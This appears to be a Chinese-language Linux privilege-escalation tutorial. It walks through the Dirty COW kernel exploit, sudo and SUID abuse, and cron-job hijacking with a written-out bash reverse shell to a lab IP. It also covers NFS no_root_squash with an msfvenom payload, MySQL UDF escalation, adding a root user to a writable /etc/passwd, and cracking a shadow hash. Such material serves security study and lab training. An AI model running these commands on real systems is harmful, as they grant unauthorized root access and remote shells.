特权提升(Privilege escalation) 是指利用操作系统或应用软件中的程序漏洞、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。
Linux提权一般是指获取root用户权限的操作过程。
1. 内核漏洞提权
1.1常规查找
查看内核版本信息
uname -a uname -r
查看系统发行版本
cat /etc/issue cat /etc/*-release
搜索该版本漏洞 , 把对应版本的⽂件上传到服务器编译执⾏
searchsploit 2.6.32
1.2 脏牛提权(dirtycow)
CVE-2016-5195
Linux Kernel 2.6.22 < 3.9
Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race
condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race
condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.)竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代
码。利用这一漏洞。
1.通过代码查看脏牛提权
searchsploit dirty cow
2.寻找文件路径
searchsploit -m 40839.c
3.开启http服务
通过wget http://192.168.227.132:8000/40839.c 下载文件
4.改变40839文件格式
gcc -pthread 40839.c -o 40839 -lcrypt
- ./40839 运行 提权成功!!!
之后记得恢复原样
mv /tmp/passwd.bak /etc/passwd
2. 滥用SUDO提权
2.1 什么是sudo
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的基础。
它的特性主要有这样几点:
sudo能够限制用户只在某台主机上运行某些命令。
sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。
sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它的密码时,用户获得了一张存活
期为5分钟的票(这个值可以在编译的时候改变)。
sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位
置默认是在/etc/sudoers,属性必须为0440。
在sudo于1980年前后被写出之前,一般用户管理系统的方式是利用su切换为超级用户。但是使用su的缺点之
一在于必须要先告知超级用户的密码。
sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执行的特定
命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常是/etc/sudoers),即完成对
该用户的授权(此时该用户称为“sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上“sudo”,
此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以
超级用户的权限运行。之后的一段时间内(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再
次输入密码。
由于不需要超级用户的密码,部分Unix系统甚至利用sudo使一般用户取代超级用户作为管理帐号,例如
Ubuntu、Mac OS X等。
2.2 Sudoer文件语法
2.3 利用SUDO提权
原理也很简单 , 就是当存在滥用sudo的时候 , 当前用户不需要输入密码 , 就可以root权限执行指定的文件, 如果这个文件恰巧又可以执行系统命令 , 那不就是达成了以root权限运行系统命令了吗 。
sudo -l # 显示了允许当前用户使用的命令
辅助网址:https://gtfobins.github.io/
通过下列代码进行提权
sudo find . -exec /bin/sh \; -quit
3. SUID提权
SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限 , 简单来说就是 这个文件的拥有者是root , 然后这个文件又可以通过某语法执行系统命令 , 那么你就可以提升到root权限了
find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; /表示从文件系统的顶部(根)开始并找到每个目录 -perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件 -type 表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误) >表示重定向 /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
3.2 辅助网站
https://gtfobins.github.io/ find . -exec /bin/sh \; -quit
4. 计划任务提权
如果可以 找到可以有权限修改的计划任务脚本,就可以修改脚本实现提权 。本质上,就是文件权限配置不当查看计划任务,找到有修改权限的计划任务脚本 , 在计划任务对应中追加提权后门
查询计划任务脚本
cat /etc/crontab
修改计划任务为反弹shll的脚本即可 vi check.sh 打开文件 /bin/bash -i >& /dev/tcp/192.168.227.132/4444 0>&1 写入反弹shell
成功提权!!!
5. 第三方服务NFS提权
如果您在linux服务器上具有低特权shell,并且发现服务器中具有NFS共享,则可以使用它来升级特权。 但是成功取决于它的配置方式。
5.1 什么是NFS
网络文件系统(NFS )是一个客户端/服务器应用程序 ,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在NFS协议是几个分布式文件系统标准,网络附加存储(NAS)之一。
NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。
5.2 什么是root_sqaush和no_root_sqaush
Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用
户在连接时会分配一个用户 "nfsnobody",它具有最少的本地特权。如果no_root_squash选项开启的话,
并为远程用户授予root用户对所连接系统的访问权限 , 即攻击者用本地root用户链接 , 在目标系统操作的
权限也是root权限
注意:要利用此,no_root_squash选项得开启。
root_squash:客户机用root用户访问该共享文件夹时,将root用户映射成匿名用户(默认设置);
no_root_squash:客户机用root访问该共享文件夹时,不映射root用户为匿名用户 , 依然是root用户;
5.3利用NFS提权
首先假设我们拿到一个低权限的shell , 查看目标服务器上是否开启了NFS
cat /etc/exports # 如果啥也没有就是没有开启nfs,也就无法提权了
很简单就是当nfs配置了 no_root_squash , 客户端就具有了这台nfs机器的root权限 , 即其他机器链接他的话是一个root权限
利用步骤
1. 查看NFS服务器上的共享目录 , kali上操作
2. 创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建shell
mkdir /tmp/abc mount -o rw,vers=3 192.168.227.144:/tmp /tmp/abv cd /tmp/abc msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/abc/shell.elf chmod +xs shell.elf
生成木马
3.靶机执行文件
4. 完毕之后取消挂载
umount /tmp/abc
6. udf 提权
原理 : 通过自定义库函数来实现执行任意的程序
show variables like '%secure_file_priv%'; show variables like "%plugin%";
通过 history查询历史指令找到mysql账户密码
通过指令查看 scure_file_priv 为空
提权步骤
1. 准备提权文件
searchsploit mysql udf searchsploit mysql udf -m 1518.c
2. 下载文件并编译
gcc -g -c 1518.c -fPIC gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
3. 使用mysql-udf提权
* mysql> use mysql; * mysql> create table foo(line blob); * mysql> insert into foo values(load_file('/home/user/raptor_udf2.so')); * mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; * mysql> create function do_system returns integer soname 'raptor_udf2.so'; * mysql> select * from mysql.func; * mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
7. 不安全配置
7.1 /etc/passwd 可写
先查看 /etc/passwd 权限
ls -l /etc/passwd
使用openssl编译密码
openssl passwd 123456
hwqjjuZtmxh02
newroot:hwqjjuZtmxh02:0:0:root:/root:/bin/bash
通过echo写入passwd文件,并通过su newroot登录
7.2 、/etc/shadow 可读
先看看是不是可读
可读就读一下吧,
对root用户密码进行解码
root:$6$RBSDRW7u$OQnY4g.v6e21XAO0H9GWLkOzpvMHd6BIxGIFoTIFkIXPvE8flJOH5tWas7sU9dr2s.3nIHqYQq2IxSNUAVQ0l/:19615:0:99999:7:::
将 root 用户的 hash 保存到 Kali 上名为 hash.txt 的文件中,并使用 john 来破解它。你可能必须首先解压缩/usr/share/wordlist/rockyou. txt.gz 并根据你的 Kali 版本使用 sudo 运行命令:
sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt